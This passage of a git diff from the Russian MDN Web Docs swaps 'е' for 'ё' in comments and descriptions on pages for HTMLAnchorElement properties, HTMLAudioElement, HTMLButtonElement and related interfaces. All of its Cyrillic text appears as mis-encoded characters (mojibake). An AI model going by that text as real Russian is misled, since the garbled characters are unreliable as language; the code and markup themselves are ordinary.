+var result = anchor.password; // Π’Π΅Ρ€Π½Ρ‘Ρ‚: 'flabada'
</pre>
<h2 id="Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ">Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ</h2>
diff --git a/files/ru/web/api/htmlanchorelement/pathname/index.html b/files/ru/web/api/htmlanchorelement/pathname/index.html
index ceda85555f..d971a47d88 100644
--- a/files/ru/web/api/htmlanchorelement/pathname/index.html
+++ b/files/ru/web/api/htmlanchorelement/pathname/index.html
@@ -24,7 +24,7 @@ original_slug: Web/API/HTMLHyperlinkElementUtils/pathname
<pre class="brush: js">// Допустим, Ρ‡Ρ‚ΠΎ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ содСрТит элСмСнт &lt;a id="myAnchor" href="https://developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils.pathname"&gt;
var anchor = document.getElementById("myAnchor");
-var result = anchor.pathname; // Π’Π΅Ρ€Π½Π΅Ρ‚: '/en-US/docs/HTMLHyperlinkElementUtils.pathname'
+var result = anchor.pathname; // Π’Π΅Ρ€Π½Ρ‘Ρ‚: '/en-US/docs/HTMLHyperlinkElementUtils.pathname'
</pre>
<h2 id="Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ">Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ</h2>
diff --git a/files/ru/web/api/htmlanchorelement/port/index.html b/files/ru/web/api/htmlanchorelement/port/index.html
index 5cb032d0c5..5ea0c1df77 100644
--- a/files/ru/web/api/htmlanchorelement/port/index.html
+++ b/files/ru/web/api/htmlanchorelement/port/index.html
@@ -26,7 +26,7 @@ original_slug: Web/API/HTMLHyperlinkElementUtils/port
<pre class="brush: js">// Допустим, Ρ‡Ρ‚ΠΎ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ содСрТит элСмСнт &lt;a id="myAnchor" href="https://developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils.port"&gt;
var anchor = document.getElementByID("myAnchor");
-var result = anchor.port; // Π’Π΅Ρ€Π½Π΅Ρ‚: '80'
+var result = anchor.port; // Π’Π΅Ρ€Π½Ρ‘Ρ‚: '80'
</pre>
<h2 id="Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ">Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ</h2>
diff --git a/files/ru/web/api/htmlanchorelement/protocol/index.html b/files/ru/web/api/htmlanchorelement/protocol/index.html
index 7de2513b9f..f4e9cf46bf 100644
--- a/files/ru/web/api/htmlanchorelement/protocol/index.html
+++ b/files/ru/web/api/htmlanchorelement/protocol/index.html
@@ -24,7 +24,7 @@ original_slug: Web/API/HTMLHyperlinkElementUtils/protocol
<pre class="brush: js">// Допустим, Ρ‡Ρ‚ΠΎ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ содСрТит элСмСнт &lt;a id="myAnchor" href="https://developer.mozilla.org/en-US/HTMLHyperlinkElementUtils.protocol"&gt;
var anchor = document.getElementByID("myAnchor");
-var result = anchor.protocol; // Π’Π΅Ρ€Π½Π΅Ρ‚: 'https:'
+var result = anchor.protocol; // Π’Π΅Ρ€Π½Ρ‘Ρ‚: 'https:'
</pre>
<h2 id="Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ">Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ</h2>
diff --git a/files/ru/web/api/htmlanchorelement/search/index.html b/files/ru/web/api/htmlanchorelement/search/index.html
index 18b716d835..85940c7ace 100644
--- a/files/ru/web/api/htmlanchorelement/search/index.html
+++ b/files/ru/web/api/htmlanchorelement/search/index.html
@@ -24,7 +24,7 @@ original_slug: Web/API/HTMLHyperlinkElementUtils/search
<pre class="brush: js">// Допустим, Ρ‡Ρ‚ΠΎ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ содСрТит элСмСнт &lt;a id="myAnchor" href="https://developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils.search?q=123"&gt;
var anchor = document.getElementById("myAnchor");
-var result = anchor.search; // Π’Π΅Ρ€Π½Π΅Ρ‚: '?q=123'
+var result = anchor.search; // Π’Π΅Ρ€Π½Ρ‘Ρ‚: '?q=123'
</pre>
<h2 id="Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ">Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ</h2>
diff --git a/files/ru/web/api/htmlanchorelement/tostring/index.html b/files/ru/web/api/htmlanchorelement/tostring/index.html
index 1b02751e90..3078b219e0 100644
--- a/files/ru/web/api/htmlanchorelement/tostring/index.html
+++ b/files/ru/web/api/htmlanchorelement/tostring/index.html
@@ -24,7 +24,7 @@ original_slug: Web/API/HTMLHyperlinkElementUtils/toString
<pre class="brush: js">// <code class="language-js"><span class="comment token">Допустим, Ρ‡Ρ‚ΠΎ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ содСрТит элСмСнт</span></code> &lt;a id="myAnchor" href="https://developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils/toString"&gt;
var anchor = document.getElementById("myAnchor");
-var result = anchor.toString(); // Π’Π΅Ρ€Π½Π΅Ρ‚: 'https://developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils/toString'
+var result = anchor.toString(); // Π’Π΅Ρ€Π½Ρ‘Ρ‚: 'https://developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils/toString'
</pre>
<h2 id="Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ">Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ</h2>
diff --git a/files/ru/web/api/htmlanchorelement/username/index.html b/files/ru/web/api/htmlanchorelement/username/index.html
index c212668e7e..b6ff99a04a 100644
--- a/files/ru/web/api/htmlanchorelement/username/index.html
+++ b/files/ru/web/api/htmlanchorelement/username/index.html
@@ -24,7 +24,7 @@ original_slug: Web/API/HTMLHyperlinkElementUtils/username
<pre class="brush: js">// Допустим, Ρ‡Ρ‚ΠΎ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ содСрТит элСмСнт &lt;a id="myAnchor" href="https://anonymous:flabada@developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils.username"&gt;
var anchor = document.getElementByID("myAnchor");
-var result = anchor.username; // Π’Π΅Ρ€Π½Π΅Ρ‚: 'anonymous'
+var result = anchor.username; // Π’Π΅Ρ€Π½Ρ‘Ρ‚: 'anonymous'
</pre>
<h2 id="Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ">Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ</h2>
diff --git a/files/ru/web/api/htmlareaelement/index.html b/files/ru/web/api/htmlareaelement/index.html
index c9106d1877..1c018dd96a 100644
--- a/files/ru/web/api/htmlareaelement/index.html
+++ b/files/ru/web/api/htmlareaelement/index.html
@@ -63,7 +63,7 @@ translation_of: Web/API/HTMLAreaElement
<dt>{{domxref("HTMLAreaElement.type")}}</dt>
<dd>Π­Ρ‚ΠΎ {{domxref("DOMString")}} ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅Ρ‚ {{ htmlattrxref("type", "area") }} HTML Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚, ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ MIME Ρ‚ΠΈΠΏ связанного с Π½ΠΈΠΌ рСсурса.</dd>
<dt>{{domxref("URLUtils.username")}}</dt>
- <dd>Π­Ρ‚ΠΎ {{domxref("DOMString")}} содСрТащий имя ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ. ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ΅ ΠΏΠ΅Ρ€Π΅Π΄ Π΄ΠΎΠΌΠ΅Π½Π½Ρ‹ΠΌ ΠΈΠΌΠ΅Π½Π΅ΠΌ.</dd>
+ <dd>Π­Ρ‚ΠΎ {{domxref("DOMString")}} содСрТащий имя ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ. ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ΅ ΠΏΠ΅Ρ€Π΅Π΄ Π΄ΠΎΠΌΠ΅Π½Π½Ρ‹ΠΌ ΠΈΠΌΠ΅Π½Π΅ΠΌ.</dd>
</dl>
<h2 id="ΠœΠ΅Ρ‚ΠΎΠ΄Ρ‹">ΠœΠ΅Ρ‚ΠΎΠ΄Ρ‹</h2>
diff --git a/files/ru/web/api/htmlaudioelement/audio/index.html b/files/ru/web/api/htmlaudioelement/audio/index.html
index 172faa4863..df1406bca2 100644
--- a/files/ru/web/api/htmlaudioelement/audio/index.html
+++ b/files/ru/web/api/htmlaudioelement/audio/index.html
@@ -8,7 +8,7 @@ original_slug: Web/API/HTMLAudioElement/Audio()
---
<p>{{APIRef("HTML DOM")}}</p>
-<p><span class="seoSummary">ΠšΠΎΠ½ΡΡ‚Ρ€ΡƒΠΊΡ‚ΠΎΡ€ <code><strong>Audio()</strong></code> создаСт ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉ {{domxref("HTMLAudioElement")}} ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΡ€ΠΈΠΊΡ€Π΅ΠΏΠ»Π΅Π½ ΠΊ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Ρƒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΠΌΠΎΠ³ Π²Π·Π°ΠΈΠΌΠΎΠ΄Π΅ΠΉΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ ΠΈ/ΠΈΠ»ΠΈ ΡΠ»ΡƒΡˆΠ°Ρ‚ΡŒ Π΅Π³ΠΎ, Π»ΠΈΠ±ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ Π²Π½Π΅ экрана для управлСния ΠΈ воспроизвСдСния Π·Π²ΡƒΠΊΠ°.</span></p>
+<p><span class="seoSummary">ΠšΠΎΠ½ΡΡ‚Ρ€ΡƒΠΊΡ‚ΠΎΡ€ <code><strong>Audio()</strong></code> создаёт ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉ {{domxref("HTMLAudioElement")}} ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΡ€ΠΈΠΊΡ€Π΅ΠΏΠ»Ρ‘Π½ ΠΊ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Ρƒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΠΌΠΎΠ³ Π²Π·Π°ΠΈΠΌΠΎΠ΄Π΅ΠΉΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ ΠΈ/ΠΈΠ»ΠΈ ΡΠ»ΡƒΡˆΠ°Ρ‚ΡŒ Π΅Π³ΠΎ, Π»ΠΈΠ±ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ Π²Π½Π΅ экрана для управлСния ΠΈ воспроизвСдСния Π·Π²ΡƒΠΊΠ°.</span></p>
<h2 id="Бинтаксис">Бинтаксис</h2>
@@ -51,7 +51,7 @@ original_slug: Web/API/HTMLAudioElement/Audio()
<h3 id="ИспользованиС_памяти_ΠΈ_ΡƒΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅">ИспользованиС памяти ΠΈ ΡƒΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅</h3>
-<p>Если всС ссылки Π½Π° аудиоэлСмСнт, созданныС с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ конструктора <code>Audio()</code> ΡƒΠ΄Π°Π»Π΅Π½Ρ‹, сам элСмСнт Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΡƒΠ΄Π°Π»Π΅Π½ ΠΈΠ· памяти ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌΠΎΠΌ сборщика мусора JavaScript, Ссли Π² Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ ΠΈΠ΄Π΅Ρ‚ воспроизвСдСниС. ВмСсто этого продолТится воспроизвСдСниС ΠΈ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ останСтся Π² памяти Π΄ΠΎ Ρ‚Π΅Ρ… ΠΏΠΎΡ€, ΠΏΠΎΠΊΠ° Π½Π΅ закончится Π°ΡƒΠ΄ΠΈΠΎ ΠΈΠ»ΠΈ ΠΎΠ½ΠΎ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ приостановлСно (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΏΡƒΡ‚Π΅ΠΌ Π²Ρ‹Π·ΠΎΠ²Π° {{domxref("HTMLMediaElement.pause", "pause()")}}). Π’ этот ΠΌΠΎΠΌΠ΅Π½Ρ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΏΠΎΠ΄Π»Π΅ΠΆΠΈΡ‚ ΡƒΠ½ΠΈΡ‡Ρ‚ΠΎΠΆΠ΅Π½ΠΈΡŽ сборщиком мусора.</p>
+<p>Если всС ссылки Π½Π° аудиоэлСмСнт, созданныС с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ конструктора <code>Audio()</code> ΡƒΠ΄Π°Π»Π΅Π½Ρ‹, сам элСмСнт Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΡƒΠ΄Π°Π»Ρ‘Π½ ΠΈΠ· памяти ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌΠΎΠΌ сборщика мусора JavaScript, Ссли Π² Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ ΠΈΠ΄Ρ‘Ρ‚ воспроизвСдСниС. ВмСсто этого продолТится воспроизвСдСниС ΠΈ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ останСтся Π² памяти Π΄ΠΎ Ρ‚Π΅Ρ… ΠΏΠΎΡ€, ΠΏΠΎΠΊΠ° Π½Π΅ закончится Π°ΡƒΠ΄ΠΈΠΎ ΠΈΠ»ΠΈ ΠΎΠ½ΠΎ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ приостановлСно (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΏΡƒΡ‚Ρ‘ΠΌ Π²Ρ‹Π·ΠΎΠ²Π° {{domxref("HTMLMediaElement.pause", "pause()")}}). Π’ этот ΠΌΠΎΠΌΠ΅Π½Ρ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΏΠΎΠ΄Π»Π΅ΠΆΠΈΡ‚ ΡƒΠ½ΠΈΡ‡Ρ‚ΠΎΠΆΠ΅Π½ΠΈΡŽ сборщиком мусора.</p>
<h2 id="Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ">Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ</h2>
diff --git a/files/ru/web/api/htmlaudioelement/index.html b/files/ru/web/api/htmlaudioelement/index.html
index e8fb21e4d6..4ecbafa11a 100644
--- a/files/ru/web/api/htmlaudioelement/index.html
+++ b/files/ru/web/api/htmlaudioelement/index.html
@@ -56,7 +56,7 @@ translation_of: Web/API/HTMLAudioElement
<p><code>mozSetup(in PRUint32 channels, in PRUint32 rate)</code> {{non-standard_inline}}</p>
</td>
<td><code>void</code></td>
- <td>Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ аудиострима для записи. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ Ρ‚Π°ΠΊΠΈΠ΅ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹, ΠΊΠ°ΠΊ количСство ΠΊΠ°Π½Π°Π»ΠΎΠ² Β (<code>1</code> for mono or <code>2</code> for stereo), Ρ‚Π°ΠΊ ΠΈ частота сэмпла (<code>44100</code> for 44.1kHz, for example).</td>
+ <td>Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ аудиострима для записи. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ Ρ‚Π°ΠΊΠΈΠ΅ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹, ΠΊΠ°ΠΊ количСство ΠΊΠ°Π½Π°Π»ΠΎΠ² Β (<code>1</code> for mono or <code>2</code> for stereo), Ρ‚Π°ΠΊ ΠΈ частота сэмпла (<code>44100</code> for 44.1kHz, for example).</td>
</tr>
<tr>
<td><code>mozWriteAudio(in jsval data) </code>{{non-standard_inline}}</td>
diff --git a/files/ru/web/api/htmlbasefontelement/index.html b/files/ru/web/api/htmlbasefontelement/index.html
index a5a4c2f302..1aacd6f9d7 100644
--- a/files/ru/web/api/htmlbasefontelement/index.html
+++ b/files/ru/web/api/htmlbasefontelement/index.html
@@ -7,7 +7,7 @@ translation_of: Web/API/HTMLBaseFontElement
<p><strong><code>HTMLBaseFontElement</code></strong>интСрфСйс ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΠΉ ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Π΅ свойства (ΠΏΠΎΠΌΠΈΠΌΠΎ Ρ‚Π΅Ρ… постоянных ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ²Β  {{domxref("HTMLElement")}} интСрфСйса, доступных Π΅ΠΌΡƒ Ρ‚Π°ΠΊΠΆΠ΅ ΠΏΠΎ наслСдству) для манипулирования {{HTMLElement("basefont")}} элСмСнтами.</p>
-<p><code>элСмСнт &lt;basefont&gt;</code> устарСл HTML4 ΠΈ ΡƒΠ΄Π°Π»Π΅Π½ Π² HTML5. Π­Ρ‚ΠΎ послСдняя спСцификация которая этот элСмСнт Ρ€Π΅Π°Π»ΠΈΠ·ΡƒΠ΅Ρ‚ This latest specification requires that this element implements {{domxref("HTMLUnknownElement")}} вмСсто <code>HTMLBaseFontElement</code>.</p>
+<p><code>элСмСнт &lt;basefont&gt;</code> устарСл HTML4 ΠΈ ΡƒΠ΄Π°Π»Ρ‘Π½ Π² HTML5. Π­Ρ‚ΠΎ послСдняя спСцификация которая этот элСмСнт Ρ€Π΅Π°Π»ΠΈΠ·ΡƒΠ΅Ρ‚ This latest specification requires that this element implements {{domxref("HTMLUnknownElement")}} вмСсто <code>HTMLBaseFontElement</code>.</p>
<h2 id="Бвойства">Бвойства</h2>
@@ -15,7 +15,7 @@ translation_of: Web/API/HTMLBaseFontElement
<dl>
<dt><code>HTMLBaseFontElement.color</code></dt>
- <dd>Π­Ρ‚ΠΎ {{domxref("DOMString")}} ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΠΉ Ρ†Π²Π΅Ρ‚ тСкста, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Π»ΠΈΠ±ΠΎ ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚ ΠΈΠ»ΠΈ Ρ†Π²Π΅Ρ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ Π² ΡˆΠ΅ΡΡ‚Π½Π°Π΄Ρ†Π°Ρ‚Π΅Ρ€ΠΈΡ‡Π½ΠΎΠΌ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅ <code>#RRGGBB</code>.</dd>
+ <dd>Π­Ρ‚ΠΎ {{domxref("DOMString")}} ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΠΉ Ρ†Π²Π΅Ρ‚ тСкста, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Π»ΠΈΠ±ΠΎ ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚ ΠΈΠ»ΠΈ Ρ†Π²Π΅Ρ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ Π² ΡˆΠ΅ΡΡ‚Π½Π°Π΄Ρ†Π°Ρ‚Π΅Ρ€ΠΈΡ‡Π½ΠΎΠΌ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅ <code>#RRGGBB</code>.</dd>
<dt><code>HTMLBaseFontElement.face</code></dt>
<dd>Π­Ρ‚ΠΎ {{domxref("DOMString")}} ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΠΉ список ΠΈΠ· ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΈΠ»ΠΈ Π±ΠΎΠ»Π΅Π΅ ΠΈΠΌΠ΅Π½ΠΈ ΡˆΡ€ΠΈΡ„Ρ‚ΠΎΠ². ВСкст Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° отобраТаСтся Π² стилС ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, ΠΏΠ΅Ρ€Π²Ρ‹ΠΌ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅ΠΌΡ‹ΠΌ клиСнтским Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ ΡˆΡ€ΠΈΡ„Ρ‚ΠΎΠΌ. Если Π½Π΅Ρ‚ установлСнного ΡˆΡ€ΠΈΡ„Ρ‚Π° Π½Π° локальной систСмС, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, устанавливаСт ΠΏΡ€ΠΎΠΏΠΎΡ€Ρ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½Ρ‹ΠΉ ΠΈΠ»ΠΈ фиксированной ΡˆΠΈΡ€ΠΈΠ½Ρ‹ ΡˆΡ€ΠΈΡ„Ρ‚ для этой систСмы.</dd>
<dt><code>HTMLBaseFontElement.size</code></dt>
diff --git a/files/ru/web/api/htmlbodyelement/index.html b/files/ru/web/api/htmlbodyelement/index.html
index f053136969..c2bfef5572 100644
--- a/files/ru/web/api/htmlbodyelement/index.html
+++ b/files/ru/web/api/htmlbodyelement/index.html
@@ -23,7 +23,7 @@ translation_of: Web/API/HTMLBodyElement
<dt>{{domxref("HTMLBodyElement.text")}} {{obsolete_inline}}</dt>
<dd>Π­Ρ‚ΠΎ {{ domxref("DOMString") }} ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ прСдставляСт собой основной Ρ†Π²Π΅Ρ‚ тСкста.</dd>
<dt>{{domxref("HTMLBodyElement.vLink")}} {{obsolete_inline}}</dt>
- <dd>Π­Ρ‚ΠΎ {{ domxref("DOMString") }} ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ прСдставляСт собой Ρ†Π²Π΅Ρ‚ посСщСнных ссылок.</dd>
+ <dd>Π­Ρ‚ΠΎ {{ domxref("DOMString") }} ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ прСдставляСт собой Ρ†Π²Π΅Ρ‚ посСщённых ссылок.</dd>
</dl>
<h2 id="ΠœΠ΅Ρ‚ΠΎΠ΄Ρ‹">ΠœΠ΅Ρ‚ΠΎΠ΄Ρ‹</h2>
diff --git a/files/ru/web/api/htmlbuttonelement/index.html b/files/ru/web/api/htmlbuttonelement/index.html
index dc488618d0..86816a631b 100644
--- a/files/ru/web/api/htmlbuttonelement/index.html
+++ b/files/ru/web/api/htmlbuttonelement/index.html
@@ -25,7 +25,7 @@ translation_of: Web/API/HTMLButtonElement
<tr>
<td><code>accessKey</code></td>
<td>{{domxref("DOMString")}}</td>
- <td>ΠžΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Π°Ρ ΠΊΠ½ΠΎΠΏΠΊΠ° ΠΊΠ»Π°Π²ΠΈΠ°Ρ‚ΡƒΡ€Ρ‹, Π΄Π°ΡŽΡ‰Π°Ρ доступ ΠΊ ΠΊΠ½ΠΎΠΏΠΊΠ΅.</td>
+ <td>ΠžΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Π°Ρ ΠΊΠ½ΠΎΠΏΠΊΠ° ΠΊΠ»Π°Π²ΠΈΠ°Ρ‚ΡƒΡ€Ρ‹, Π΄Π°ΡŽΡ‰Π°Ρ доступ ΠΊ ΠΊΠ½ΠΎΠΏΠΊΠ΅.</td>
</tr>
<tr>
<td><code>autofocus</code></td>
@@ -107,9 +107,9 @@ translation_of: Web/API/HTMLButtonElement
<p>Π£ΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ ΠΊΠ½ΠΎΠΏΠΊΠΈ. Π­Ρ‚ΠΎ пСрСчисляСмый Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ со ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌΠΈ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹ΠΌΠΈ значСниями:</p>
<ul>
- <li><code>"submit"</code>: Кнопка ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈΒ Ρ„ΠΎΡ€ΠΌΡ‹. Π­Ρ‚ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, Ссли Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ Π½Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½, {{HTMLVersionInline(5)}} ΠΈΠ»ΠΈ Ссли ΠΎΠ½ динамичСски измСняСтся Π½Π° пустоС ΠΈΠ»ΠΈ нСдопустимоС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅.</li>
+ <li><code>"submit"</code>: Кнопка ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈΒ Ρ„ΠΎΡ€ΠΌΡ‹. Π­Ρ‚ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, Ссли Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ Π½Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½, {{HTMLVersionInline(5)}} ΠΈΠ»ΠΈ Ссли ΠΎΠ½ динамичСски измСняСтся Π½Π° пустоС ΠΈΠ»ΠΈ нСдопустимоС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅.</li>
<li><code>"reset"</code>: Кнопка сброса Ρ„ΠΎΡ€ΠΌΡ‹.</li>
- <li><code>"button"</code>: Кнопка с Π½Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌ дСйствиСм.</li>
+ <li><code>"button"</code>: Кнопка с Π½Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌ дСйствиСм.</li>
<li><code>"menu"</code>:Β  Кнопка ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰Π°Ρ мСню (ΡΠΊΡΠΏΠ΅Ρ€ΠΈΠΌΠ΅Π½Ρ‚Π°Π»ΡŒΠ½Π°Ρ). {{experimental_inline}}</li>
</ul>
</td>
diff --git a/files/ru/web/api/htmlcanvaselement/capturestream/index.html b/files/ru/web/api/htmlcanvaselement/capturestream/index.html
index 9240255f86..b58792b2a3 100644
--- a/files/ru/web/api/htmlcanvaselement/capturestream/index.html
